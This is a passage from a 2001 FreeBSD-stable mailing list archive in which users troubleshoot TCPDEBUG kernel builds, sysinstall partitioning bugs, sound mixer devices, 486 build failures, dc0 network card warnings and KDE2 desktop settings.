\ } \ tp = intotcpcb(inp); \ TCPDEBUG1(); \ } while(0) TCPDEBUG0 is defined with #ifdef TCPDEBUG #define TCPDEBUG0 int ostate #define TCPDEBUG1() ostate = tp ? tp->t_state : 0 #define TCPDEBUG2(req) if (tp && (so->so_options & SO_DEBUG)) \ tcp_trace(TA_USER, ostate, tp, 0, 0, req) #else #define TCPDEBUG0 #define TCPDEBUG1() #define TCPDEBUG2(req) #endif Here we can see why the option in the conf file matters, however, the definition seems to be fine. Now, tracking down if it might be some other macro I only found # cd /usr/include/netinet # grep SS_ISDISCONNECTED *h # cd ../sys # grep SS_ISDISCONNECTED *h socketvar.h:#define SS_ISDISCONNECTED 0x2000 /* socket disconnected from peer */ # cd ../net # grep SS_ISDISCONNECTED *h # which doesn't seem to indicate something really nasty going on. Normally I can track down these things, but this is just weird. The only thing I can think of is that the current gcc is not accepting variables defined anywhere but the top of the function and is treating the var definition as something weird. sure enough # cat a.c main() { printf("hello world\n"); int a; a = 1; printf("hello world %d\n", a); } # cc a.c a.c: In function `main': a.c:3: syntax error before `int' a.c:4: `a' undeclared (first use in this function) a.c:4: (Each undeclared identifier is reported only once a.c:4: for each function it appears in.) # cat a.c main() { int a; printf("hello world\n"); a = 1; printf("hello world %d\n", a); } # cc a.c This seems to be the problem! -- Groove On Dude Michael Conlen Obfuscated Networking meconlen@obfuscated.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 21:42:20 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ns2.alphaque.com (ns2.alphaque.com [202.185.254.11]) by hub.freebsd.org (Postfix) with SMTP id E33E637B719 for ; Sun, 11 Mar 2001 21:42:14 -0800 (PST) (envelope-from dinesh@alphaque.com) Received: (qmail 1894 invoked from network); 12 Mar 2001 05:42:10 -0000 Received: from unknown (HELO prophet.alphaque.com) (202.190.165.207) by ns2.alphaque.com with SMTP; 12 Mar 2001 05:42:10 -0000 Received: from localhost (1kz4r9@localhost.alphaque.com [127.0.0.1]) by prophet.alphaque.com (8.11.3/8.11.3) with ESMTP id f2C5ZNY00457; Mon, 12 Mar 2001 13:35:23 +0800 (MYT) (envelope-from dinesh@alphaque.com) Date: Mon, 12 Mar 2001 13:35:22 +0800 (MYT) From: Dinesh Nair To: Gregory Neil Shapiro Cc: stable@FreeBSD.ORG Subject: Re: DNS related sendmail hangs with 4.3-BETA kernel In-Reply-To: <15020.19474.360397.772166@horsey.gshapiro.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 11 Mar 2001, Gregory Neil Shapiro wrote: > Please try again as I really don't think NETINET6 is a problem. It was a > bug in libc's resolver. no, it isnt the NETINET6, it's libc as you have pointed out. i didnt read polstra's email correctly, and thought his userland was 4.3BETA as well. --dinesh To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 22: 0:20 2001 Delivered-To: freebsd-stable@freebsd.org Received: from InterJet.dellroad.org (adsl-63-194-81-26.dsl.snfc21.pacbell.net [63.194.81.26]) by hub.freebsd.org (Postfix) with ESMTP id 1AD1337B71A for ; Sun, 11 Mar 2001 22:00:09 -0800 (PST) (envelope-from archie@dellroad.org) Received: from curve.dellroad.org (curve.dellroad.org [10.1.1.30]) by InterJet.dellroad.org (8.9.1a/8.9.1) with ESMTP id VAA06079; Sun, 11 Mar 2001 21:53:54 -0800 (PST) Received: (from archie@localhost) by curve.dellroad.org (8.11.2/8.11.2) id f2C6GcL51469; Sun, 11 Mar 2001 22:16:38 -0800 (PST) (envelope-from archie) From: Archie Cobbs Message-Id: <200103120616.f2C6GcL51469@curve.dellroad.org> Subject: Re: ABIT KT7 and temp monitoring In-Reply-To: "from Bert Driehuis at Mar 8, 2001 11:40:02 pm" To: Bert Driehuis Date: Sun, 11 Mar 2001 22:16:38 -0800 (PST) Cc: stable@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL88 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Bert Driehuis writes: > with some confidence (the W83781D has a one byte id), but scanning the > I2C bus can easily lock a motherboard (I think that that's what's > causing my Intel board to act up when the ichsmb driver gets added to > the kernel). That's weird. The ichsmb(4) driver doesn't "scan" the bus.. it doesn't really do much of anything until a process tries to use it. -Archie __________________________________________________________________________ Archie Cobbs * Packet Design * http://www.packetdesign.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 22: 5:10 2001 Delivered-To: freebsd-stable@freebsd.org Received: from turtle.looksharp.net (cc360882-a.strhg1.mi.home.com [24.2.221.22]) by hub.freebsd.org (Postfix) with ESMTP id 8793637B718 for ; Sun, 11 Mar 2001 22:05:06 -0800 (PST) (envelope-from bsdx@looksharp.net) Received: from localhost (bsdx@localhost) by turtle.looksharp.net (8.11.1/8.11.1) with ESMTP id f2C68m890332 for ; Mon, 12 Mar 2001 01:08:49 -0500 (EST) (envelope-from bsdx@looksharp.net) Date: Mon, 12 Mar 2001 01:08:48 -0500 (EST) From: Adam To: Subject: sysinstall nits Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I was giving the 3/11/01 stable snapshot a test install to see if anything stood out, and here is my wishlist. I think it would be nice if any of these got in at any point in time, I'll leave the judgement up to others on urgency. If more information would be helpful I'll be glad to provide it, and directions for a more fruitful place to post will be accepted. I breifly considered the qa list but according to the archives it looks dead to me. - selecting HTML Docs from the Configuration menu installs lynx without confirming, I think it would be prudent to not install it until they see what is in the menu. The choice says "Go to the HTML Documentation menu" and mentions nothing about needing to download software just to enter a menu. There is nothing about the HTML Documentation menu that looks like it needs lynx to display itself, so I think it would be nice to wait until something is selected in that menu, and then ask the user if they think the item is worth the time it takes to fetch the lynx package if not installed. Installing lynx without asking is an annoying delay and small waste of space for the well connected, even more annoying if selected by accident, and could take ages on a slow modem connection. Even more alarming/annoying is ctrl-c'ing the download of lynx and selecting yes makes sysinstall exit and reboot the computer! - something I've mentioned before and jkh thought it was a good idea but it never appeared in the product; I think a date and timestamp in the comment line added to rc.conf by sysinstall would be informative and useful. - drop a text file onto the system somewhere permanent with the original installation date and version? Servers get old quickly and it gets hard to remember when it was installed and what original version if it has been upgraded since, and the original version and install date can be helpful information for upgrades if you need to determine what boot loader you have installed, etc.. - I am testing on a P120 with a ~200m hd. If I boot up the install floppies, goto configure, fdisk, a for entire disk, yes for true partition entry, W to write it out, yes I am sure, enter on bootmgr, it writes it out successfully and I choose OK. Q to quit fdisk, it asks me about the boot manager again, I dont care because I already installed it so I choose bootmgr again. I then choose Label from the menu, C to create a 100M /, C to make the rest swap, W to write, Yes I'm sure, WARNING! Unable to swap to /dev/ad0s1b: Device not configured This may cause the installation to fail blah blah, choose OK, Unable to make new root filesystem on /dev/ad0s1a! Command returned status 1. Alt-F2 with debugging turned on reveals: DEBUG: Scanning disk ad0 for root filesystem DEBUG: Found rootdev at ad0s1a! DEBUG: Scanning disk ad0 for swap partitions DEBUG: Found swapdev at ad0s1b! DEBUG: Notify: Making a new root filesystem on /dev/ad0s1a DEBUG: Executing command `newfs -b 8192 -f 1024 /dev/ad0s1a' newfs: /dev/ad0s1a: `a' partition is unavailable The same messages are in this section when I dont commit fdisk information first, except it mentions adding /dev/ad0s1b as a swap device and successfully completing newfs without an error. Also, if I fdisk, q to exit that, label, and W to write, go back to the menu, go back in labeling, make new labels and try to write, it gives me the message: "You've already written out your changes - if you wish to overwrite them, you'll have to start this procedure again from the beginning". Thats better than outright failing, but it doesn't say what procedure I need to restart. The entire sysinstall(which means reboot if installing fresh)? Re-writing the info in fdisk(which doesn't help, it still gives the written out error message)? It seems if you write the fdisk information out, then W to commit in the labeler in sysinstall doesn't actually write out the labels, and swapon and newfs fail. I dont understand why you should be punished for writing out your fdisk information before going to label, perhaps a warning when choosing W that doing this before labeling during an install will make writing labels fail? I even tried doing Re-scan Devices in the options screen but that did not help. I believe something similar also happens when using sysinstall after the system is up, I recall when repartitioning disks that I would have to go in with sysinstall, fdisk, Write it out, exit sysinstall entirely, then go back in and label. Perhaps unrelated or fixed by now I'm not sure, but might be worth mentioning. Overall though when I install avoiding the partition issue it does install a bootable system so it seems to be up to my expectations for installation! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 22:22:26 2001 Delivered-To: freebsd-stable@freebsd.org Received: from idiom.com (idiom.com [216.240.32.1]) by hub.freebsd.org (Postfix) with ESMTP id 73E7037B719 for ; Sun, 11 Mar 2001 22:22:24 -0800 (PST) (envelope-from rdm@idiom.com) Received: (from rdm@localhost) by idiom.com (8.9.3/8.9.3) id WAA33450 for stable@FreeBSD.ORG; Sun, 11 Mar 2001 22:22:21 -0800 (PST) Date: Sun, 11 Mar 2001 22:22:21 -0800 (PST) From: Rich Morin Message-Id: <200103120622.WAA33450@idiom.com> To: stable@FreeBSD.ORG Subject: Re: /var/run/dev.db ? Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Dan Langille sez: > Thanks for that. I knew about the FreeBSD Browser, but this was the > first practical example I'd seen for it. I now have a greater > appreciation of what this application will do. I can certainly see > how it will be useful. Thanks! Looking at the log, I see that some readers of this list went to see the page I mentioned. As that is not all that interesting an example, I would like to suggest some others: http://www.cfcl.com/md/fb/42/dev/esa1 http://www.cfcl.com/md/fb/42/etc/mail http://www.cfcl.com/md/fb/42/usr/bin/vi I would also like to refer any interested parties to the article I have written for the March issue of FreeBSDzine. My draft is at http://www.cfcl.com/Meta/fbz.html -r To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 22:36:24 2001 Delivered-To: freebsd-stable@freebsd.org Received: from obsecurity.dyndns.org (adsl-63-207-60-59.dsl.lsan03.pacbell.net [63.207.60.59]) by hub.freebsd.org (Postfix) with ESMTP id 99D3037B718 for ; Sun, 11 Mar 2001 22:36:19 -0800 (PST) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 5030766E70; Sun, 11 Mar 2001 22:36:19 -0800 (PST) Date: Sun, 11 Mar 2001 22:36:19 -0800 From: Kris Kennaway To: Michael Conlen Cc: FreeBSD Stable Subject: Re: TCPDEBUG Message-ID: <20010311223619.B28355@mollari.cthul.hu> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="lEGEL1/lMxI0MVQ2" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from meconlen@obfuscated.net on Mon, Mar 12, 2001 at 12:22:17AM -0500 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --lEGEL1/lMxI0MVQ2 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Mar 12, 2001 at 12:22:17AM -0500, Michael Conlen wrote: > With the current stable (not -current) and >=20 > options TCPDEBUG >=20 > in the kernel conf file This should be fixed shortly - a fix went into -current earlier today. However, I'm wondering why you're using options TCPDEBUG since it's not documented except by the fact that it exists. Kris --lEGEL1/lMxI0MVQ2 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE6rG5jWry0BWjoQKURAqJBAJ4pC0rTZp6w5xYmZYyGn8FYoJrgiwCguvgM DwtCTRzpxUDJhJoYNqRrpUg= =PLOs -----END PGP SIGNATURE----- --lEGEL1/lMxI0MVQ2-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 22:47:44 2001 Delivered-To: freebsd-stable@freebsd.org Received: from falcon.home.hentschel.net (w002.z064221160.smf-ca.dsl.cnc.net [64.221.160.2]) by hub.freebsd.org (Postfix) with ESMTP id D127D37B718 for ; Sun, 11 Mar 2001 22:47:41 -0800 (PST) (envelope-from thomas@hentschel.net) Received: from hentschel.net (user@localhost [127.0.0.1]) by falcon.home.hentschel.net (8.11.2/8.11.2) with ESMTP id f2C6m9M19020; Sun, 11 Mar 2001 22:48:10 -0800 (PST) (envelope-from thomas@hentschel.net) Message-Id: <200103120648.f2C6m9M19020@falcon.home.hentschel.net> Date: Sun, 11 Mar 2001 22:48:08 -0800 (PST) From: thomas@hentschel.net Subject: Re: Mixer not working anymore To: Kris Kennaway Cc: Gunnar Flygt , FreeBSD Stable In-Reply-To: <20010311145634.A66872@mollari.cthul.hu> MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 11 Mar, Kris Kennaway wrote: > On Sun, Mar 11, 2001 at 01:10:03PM -0800, thomas@hentschel.net wrote: >> On 11 Mar, Kris Kennaway wrote: >> > On Sun, Mar 11, 2001 at 12:16:05PM +0100, Gunnar Flygt wrote: >> >> I cvsup'ed tonight, rebult world and now my mixer device isn't working. >> >> Anyone else having similar problems? >> > >> >> you give too little info to see if it's applicable here, but I had a >> similar problem a few weeks ago on -stable. Actually removing the >> device entries in /dev and rebuilding them with MAKEDEV helped it. > > Note that if you run mergemaster and it updates the MAKEDEV script it > even reminds you to rerun it. > > Kris well, the problem wasn't re-running MAKEDEV (which I did, of course, and this had me puzzled for a few minutes). One had to remove (as in rm) the dev entries and then run MAKEDEV, which wasn't spelled out anywhere in the process. There's a subtle difference.... -Th To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 23: 9:46 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mysql.ipfnet.net (mailfarm.ipfnet.net [195.211.129.222]) by hub.freebsd.org (Postfix) with ESMTP id 7655D37B719 for ; Sun, 11 Mar 2001 23:09:43 -0800 (PST) (envelope-from ml-freebsd-stable@phobgate.de) Received: from MOD (router-195-211-129.ipfnet.net [195.211.129.1]) (authenticated as ab@ipfnet.net) by mysql.ipfnet.net (8.11.1/8.10.1) with ESMTP id f2C79g150686 for ; Mon, 12 Mar 2001 08:09:42 +0100 (CET) Date: Mon, 12 Mar 2001 08:08:14 +0100 From: alex Reply-To: alex To: FreeBSD Stable Subject: Re: TCPDEBUG Message-ID: <836983648.984384494@MOD> In-Reply-To: <20010311223619.B28355@mollari.cthul.hu> X-Mailer: Mulberry/2.0.6 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG i had same problems, solved by disabling TCPDEBUG i used TCPDEBUG cause it sounds intersting, and i was playing around with = ipfw (thats the reason i tried 4.3-beta, 4.2-release had page fault when = using ipfw wiht pipe/queue). so i thought 'why not trying this option too, = maybe it's useful' :) alex --On Sonntag, 11. M=E4rz 2001 22:36 -0800 Kris Kennaway = = wrote: > On Mon, Mar 12, 2001 at 12:22:17AM -0500, Michael Conlen wrote: >> With the current stable (not -current) and >> >> options TCPDEBUG >> >> in the kernel conf file > > This should be fixed shortly - a fix went into -current earlier today. > > However, I'm wondering why you're using options TCPDEBUG since it's > not documented except by the fact that it exists. > > Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 23:55:56 2001 Delivered-To: freebsd-stable@freebsd.org Received: from obsecurity.dyndns.org (adsl-63-207-60-59.dsl.lsan03.pacbell.net [63.207.60.59]) by hub.freebsd.org (Postfix) with ESMTP id 8AE5137B718; Sun, 11 Mar 2001 23:55:51 -0800 (PST) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 1A12666D26; Sun, 11 Mar 2001 23:55:51 -0800 (PST) Date: Sun, 11 Mar 2001 23:55:50 -0800 From: Kris Kennaway To: Larry Rosenman Cc: Kris Kennaway , stable@FreeBSD.ORG, qa@FreeBSD.ORG Subject: Re: cputype=486 Message-ID: <20010311235550.A40321@mollari.cthul.hu> References: <20010311120241.A15202@lerami.lerctr.org> <20010311145945.C66872@mollari.cthul.hu> <20010311193126.A6166@lerami.lerctr.org> <20010311175148.A82406@mollari.cthul.hu> <20010311195843.A7539@lerami.lerctr.org> <20010311201658.A8487@lerami.lerctr.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="vkogqOf2sHV7VnPd" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010311201658.A8487@lerami.lerctr.org>; from ler@lerctr.org on Sun, Mar 11, 2001 at 08:16:59PM -0600 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --vkogqOf2sHV7VnPd Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Sun, Mar 11, 2001 at 08:16:59PM -0600, Larry Rosenman wrote: > OK, the ****NEWLY BUILT**** strip does *NOT* work on the 486.... Well, this log shows that strip is not being built with any CPU-specific optimizations, as expected. I don't know how to explain it -- the CPUTYPE changes did not touch the compiler, and they're not active here. Neither has the compiler been upgraded in quite a while. Does anyone else have the ability to build world on a 486 to test this? Kris P.S. emailing a 680K attachment to two world-wide, high-subscription mailing lists was probably Not a Smart Thing to do :-) --vkogqOf2sHV7VnPd Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iD4DBQE6rIEGWry0BWjoQKURAtxdAJjjZJO9QFeRp1TGtqxIQcmp5nZfAKCP2SCo SKtNoHxhE6Gab/Z3rjsgvQ== =CXTE -----END PGP SIGNATURE----- --vkogqOf2sHV7VnPd-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 0:32: 0 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mppsystems.com (mppsystems.com [208.210.148.205]) by hub.freebsd.org (Postfix) with ESMTP id 4531A37B718; Mon, 12 Mar 2001 00:31:56 -0800 (PST) (envelope-from mpp@mppsystems.com) Received: (from mpp@localhost) by mppsystems.com (8.11.3/8.11.3) id f2C8VZ801152; Mon, 12 Mar 2001 02:31:35 -0600 (CST) (envelope-from mpp) Date: Mon, 12 Mar 2001 02:31:35 -0600 From: Mike Pritchard To: Kris Kennaway Cc: Larry Rosenman , stable@FreeBSD.ORG, qa@FreeBSD.ORG Subject: Re: cputype=486 Message-ID: <20010312023134.A849@mppsystems.com> References: <20010311120241.A15202@lerami.lerctr.org> <20010311145945.C66872@mollari.cthul.hu> <20010311193126.A6166@lerami.lerctr.org> <20010311175148.A82406@mollari.cthul.hu> <20010311195843.A7539@lerami.lerctr.org> <20010311201658.A8487@lerami.lerctr.org> <20010311235550.A40321@mollari.cthul.hu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010311235550.A40321@mollari.cthul.hu>; from kris@obsecurity.org on Sun, Mar 11, 2001 at 11:55:50PM -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, Mar 11, 2001 at 11:55:50PM -0800, Kris Kennaway wrote: > On Sun, Mar 11, 2001 at 08:16:59PM -0600, Larry Rosenman wrote: > > > OK, the ****NEWLY BUILT**** strip does *NOT* work on the 486.... > > Well, this log shows that strip is not being built with any > CPU-specific optimizations, as expected. I don't know how to explain > it -- the CPUTYPE changes did not touch the compiler, and they're not > active here. Neither has the compiler been upgraded in quite a while. > Does anyone else have the ability to build world on a 486 to test > this? > > Kris Somewhat. I have a box that has one of those overdrive chips in it, but it still claims to be a 486-class machine. It runs current, however, and not stable. Actually, I have two of those machines. One is running a 12 hour old -current. The other is running a 4.0-current from 10/24/99. I'll try upgrading the oldest machine to -stable and doing a "make world" and see what happens. This may take most of the week, since a make world takes forever on one these machines, and my free time to check up on this is very limited. If anyone else has a true 486 running -stable and wants to follow up on this, feel free. -Mike -- Mike Pritchard mpp@FreeBSD.org or mpp@mppsystems.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 0:35:23 2001 Delivered-To: freebsd-stable@freebsd.org Received: from obsecurity.dyndns.org (adsl-63-207-60-59.dsl.lsan03.pacbell.net [63.207.60.59]) by hub.freebsd.org (Postfix) with ESMTP id 944EB37B71A; Mon, 12 Mar 2001 00:35:18 -0800 (PST) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 021C266D26; Mon, 12 Mar 2001 00:35:16 -0800 (PST) Date: Mon, 12 Mar 2001 00:35:16 -0800 From: Kris Kennaway To: Mike Pritchard Cc: Kris Kennaway , Larry Rosenman , stable@FreeBSD.ORG, qa@FreeBSD.ORG Subject: Re: cputype=486 Message-ID: <20010312003516.A51209@mollari.cthul.hu> References: <20010311120241.A15202@lerami.lerctr.org> <20010311145945.C66872@mollari.cthul.hu> <20010311193126.A6166@lerami.lerctr.org> <20010311175148.A82406@mollari.cthul.hu> <20010311195843.A7539@lerami.lerctr.org> <20010311201658.A8487@lerami.lerctr.org> <20010311235550.A40321@mollari.cthul.hu> <20010312023134.A849@mppsystems.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="Kj7319i9nmIyA2yE" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010312023134.A849@mppsystems.com>; from mpp@mppsystems.com on Mon, Mar 12, 2001 at 02:31:35AM -0600 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --Kj7319i9nmIyA2yE Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Mar 12, 2001 at 02:31:35AM -0600, Mike Pritchard wrote: > Somewhat. I have a box that has one of those overdrive chips in it, but > it still claims to be a 486-class machine. It runs current, however, and > not stable. Actually, I have two of those machines. One is running a > 12 hour old -current. The other is running a 4.0-current from 10/24/99. >=20 > I'll try upgrading the oldest machine to -stable and doing a "make world" > and see what happens. This may take most of the week, since a make world > takes forever on one these machines, and my free time to check up on this= is > very limited. If anyone else has a true 486 running -stable and wants > to follow up on this, feel free. Okay - whatever you can do to check. Thanks. Kris --Kj7319i9nmIyA2yE Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE6rIpEWry0BWjoQKURAk+EAJkBJ+Kv3GZDwAVrTMbUWp/wHxHQLwCgpc39 +L1pt0oNihwEHkqO8sYQzZA= =nvun -----END PGP SIGNATURE----- --Kj7319i9nmIyA2yE-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 2:52:17 2001 Delivered-To: freebsd-stable@freebsd.org Received: from server1.wojo.com (server1.wojo.com [216.42.139.184]) by hub.freebsd.org (Postfix) with ESMTP id 366C937B719 for ; Mon, 12 Mar 2001 02:52:13 -0800 (PST) (envelope-from robertw@wojo.com) Received: from moe.wojo.net (localhost.wojo.com [127.0.0.1]) by server1.wojo.com (Postfix) with ESMTP id C0927AFE5 for ; Mon, 12 Mar 2001 05:27:38 -0500 (EST) MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: Re: Problem with 4.2-STABLE and dc0 Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.4417.0 content-class: urn:content-classes:message Date: Mon, 12 Mar 2001 05:27:36 -0500 Message-ID: <16DC0F334516F5478EC60CADEDB6A68410D9C6@moe.wojo.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Problem with 4.2-STABLE and dc0 Thread-Index: AcCq3w6iM3UOQsBQQqKFkbugne1dbg== From: "Robert S. Wojciechowski Jr." To: Cc: "Todd Punderson" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am seeing the same message with dc0 on 4.3-BETA from 3/12 with a = Linksys LNE100-TX. Output from dmesg: ... snip ... twed0: on twe0 twed0: 14654MB (30013168 sectors) Mounting root from ufs:/dev/twed0s1a IP Filter: already initialized dc0: failed to force tx and rx to idle state dc0: failed to force tx and rx to idle state It seems to work fine right now, but I haven't done any more testing on = that interface yet... --- Robert S. Wojciechowski Jr. robertw@wojo.com ----------------------------------------------------------------- > On 06-Mar-2001 01:09:21, Todd Punderson writes: > I just cvsup'ed 11pm EST 3/5/01. After I heard that stable was locked > thinking all would be well....Well, I now get this message repeated = many > times: >=20 > dc0: failed to force tx and rx to idle state >=20 > The card is a Netgear FA310TX. It was fine before I did this update. = The > last cvsup I ran was appx. 2 weeks ago (around 2/24.) Hopefully that = will > let you pin down where the program crept in. > Thanks! > Todd >=20 >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message >=20 >=20 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 2:56:36 2001 Delivered-To: freebsd-stable@freebsd.org Received: from sudz.ns3g.com (cr618871-b.bloor1.on.wave.home.com [24.43.110.112]) by hub.freebsd.org (Postfix) with ESMTP id C1B9D37B718 for ; Mon, 12 Mar 2001 02:56:31 -0800 (PST) (envelope-from sudz@ns3g.com) Received: from cooler (cr618871-a.bloor1.on.wave.home.com [24.43.110.110]) by sudz.ns3g.com (8.11.2/8.11.2) with SMTP id f2CAvBM07094; Mon, 12 Mar 2001 05:57:11 -0500 (EST) (envelope-from sudz@ns3g.com) Reply-To: From: "Colin Legendre" To: "Sybolt de Boer" Cc: , , Subject: RE: KDE2 Date: Mon, 12 Mar 2001 05:59:34 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <20010312022629.A82181@holy.xs4all.nl> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This worked THANKS! -----Original Message----- From: Sybolt de Boer [mailto:bolt@xs4all.nl] Sent: Sunday, March 11, 2001 8:26 PM To: Colin Legendre Cc: stable@freebsd.org Subject: Re: KDE2 Hi, On Sun, Mar 11, 2001 at 07:52:57PM -0500, Colin Legendre wrote: > I am having an issue with KDE2 that I am wondering if anyone else has > noticed. > > When I rearange the icons and the logout when I log back in the icons are > back in the original locations. Everything else such as background and > newly created icons are there and saved but there locations will not save. chmod -R u+w ~/Desktop might help. > any help ! > > > > Colin Legendre CCNA, MCP > sudz@ns3g.com Regards, Sybolt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 2:59:23 2001 Delivered-To: freebsd-stable@freebsd.org Received: from sudz.ns3g.com (cr618871-b.bloor1.on.wave.home.com [24.43.110.112]) by hub.freebsd.org (Postfix) with ESMTP id 7E11F37B718 for ; Mon, 12 Mar 2001 02:59:19 -0800 (PST) (envelope-from sudz@ns3g.com) Received: from cooler (cr618871-a.bloor1.on.wave.home.com [24.43.110.110]) by sudz.ns3g.com (8.11.2/8.11.2) with SMTP id f2CB0CM07134 for ; Mon, 12 Mar 2001 06:00:12 -0500 (EST) (envelope-from sudz@ns3g.com) Reply-To: From: "Colin Legendre" To: Subject: RE: KDE2 Date: Mon, 12 Mar 2001 06:02:35 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Now where do I submit this as a bug? -----Original Message----- From: owner-freebsd-stable@FreeBSD.ORG [mailto:owner-freebsd-stable@FreeBSD.ORG]On Behalf Of Colin Legendre Sent: Monday, March 12, 2001 6:00 AM To: Sybolt de Boer Cc: stable@FreeBSD.ORG; n4cnw@knology.net; andrewgould@yahoo.com Subject: RE: KDE2 This worked THANKS! -----Original Message----- From: Sybolt de Boer [mailto:bolt@xs4all.nl] Sent: Sunday, March 11, 2001 8:26 PM To: Colin Legendre Cc: stable@freebsd.org Subject: Re: KDE2 Hi, On Sun, Mar 11, 2001 at 07:52:57PM -0500, Colin Legendre wrote: > I am having an issue with KDE2 that I am wondering if anyone else has > noticed. > > When I rearange the icons and the logout when I log back in the icons are > back in the original locations. Everything else such as background and > newly created icons are there and saved but there locations will 